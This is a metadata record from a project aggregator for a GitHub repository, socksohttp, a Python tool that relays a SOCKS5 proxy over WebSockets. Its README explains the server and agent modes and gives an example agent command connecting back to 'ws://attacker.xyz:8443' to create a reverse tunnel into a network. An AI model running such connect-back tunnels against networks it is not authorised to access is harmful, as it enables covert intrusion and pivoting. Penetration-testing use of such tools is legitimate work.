{"id":13775866,"url":"https://github.com/skelsec/socksohttp","last_synced_at":"2026-02-19T07:37:53.915Z","repository":{"id":95820929,"uuid":"152813284","full_name":"skelsec/socksohttp","owner":"skelsec","description":"Socks5 server over Websockets","archived":false,"fork":false,"pushed_at":"2018-10-17T17:55:08.000Z","size":188,"stargazers_count":40,"open_issues_count":1,"forks_count":4,"subscribers_count":2,"default_branch":"master","last_synced_at":"2024-11-17T11:47:06.520Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/skelsec.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2018-10-12T22:20:24.000Z","updated_at":"2023-06-30T15:19:44.000Z","dependencies_parsed_at":null,"dependency_job_id":"85401e77-20bd-4f8c-9cdb-f3ebe4d8bb1d","html_url":"https://github.com/skelsec/socksohttp","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/skelsec%2Fsocksohttp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/skelsec%2Fsocksohttp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/skelsec%2Fsocksohttp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/skelsec%2Fsocksohttp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/skelsec","download_url":"https://codeload.github.com/skelsec/socksohttp/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253540462,"owners_count":21924522,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-03T17:01:52.939Z","updated_at":"2026-02-19T07:37:53.876Z","avatar_url":"https://github.com/skelsec.png","language":"Python","funding_links":[],"categories":["\u003ca id=\"d03d494700077f6a65092985c06bf8e8\"\u003e\u003c/a\u003e工具"],"sub_categories":["\u003ca id=\"57b8e953d394bbed52df2a6976d98dfa\"\u003e\u003c/a\u003eSocks"],"readme":"# socksohttp\nSocks5 server over Websockets\n\n# IMPORTANT\nProject is draft, not fully tested.  \nDo NOT I REPEAT: DO NOT use the master branch as it is most likely will not work! I'll set up a semi-stable version soon in a separate branch\n\n# Prerequirements\nPython\u003e=3.6  \nwebsockets  \n\n# What does it do?\nThe same script has two modes of operation: ```server``` and ```agent```  \n  \n```server``` will set up a websocket listener. One or more ```agent``` will be connecting back to it.  \nWhen an ```agent``` connects the ```server``` will open a TCP port on localhost (one per ```agent```).  \nThis TCP port will act like if it would be a Socks5 server, but the actual Socks5 server will be running on the ```agent```, the ```server``` only relays the incoming/outgoing traffic to and from the remote Socks 5 server.\n\n\n# Help\nThe script can be run in two modes: ```server``` and ```agent```\n\n## ```server``` mode params  \nCommand format: ```socksOhttp.py \u003cverbosity\u003e \u003cmode\u003e \u003clisten_ip\u003e \u003clisten_port\u003e```  \nExample command: ```socksOhttp.py -vv server 0.0.0.0 8443```  \n  \n  \n```-v``` is setting the verbosity, be careful as the more verbose you set the slower the connection will be, as it will write ALL incoming and outgoing traffic in hex to stdout!  \n```server``` is to run the script as a server  \n```0.0.0.0``` will make the server listen on all interfaces for incoming websocket agents  \n```8443``` is the port the server will listen for incoming websocket agents  \n\n## ```agent``` mode params  \nCommand format: ```socksOhttp.py \u003cverbosity\u003e \u003cmode\u003e  \u003cserver_url\u003e \u003c-p proxy_url\u003e```  \nExample command: ```socksOhttp.py -vv agent ws://attacker.xyz:8443 -p http://127.0.0.1:8080``` \n\n```-v``` is setting the verbosity, be careful as the more verbose you set the slower the connection will be, as it will write ALL incoming and outgoing traffic in hex to stdout!  \n```agent``` is to run the script as an agent  \n```ws://attacker.xyz:8443``` is the url of the server the agent should connect back to. Ovbiously replace ```attacker.xyz:8443``` to your server's address.  \n```-p http://127.0.0.1:8080``` optional parameter, set it if you need to go trough a HTTP proxy  \n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fskelsec%2Fsocksohttp","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fskelsec%2Fsocksohttp","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fskelsec%2Fsocksohttp/lists"}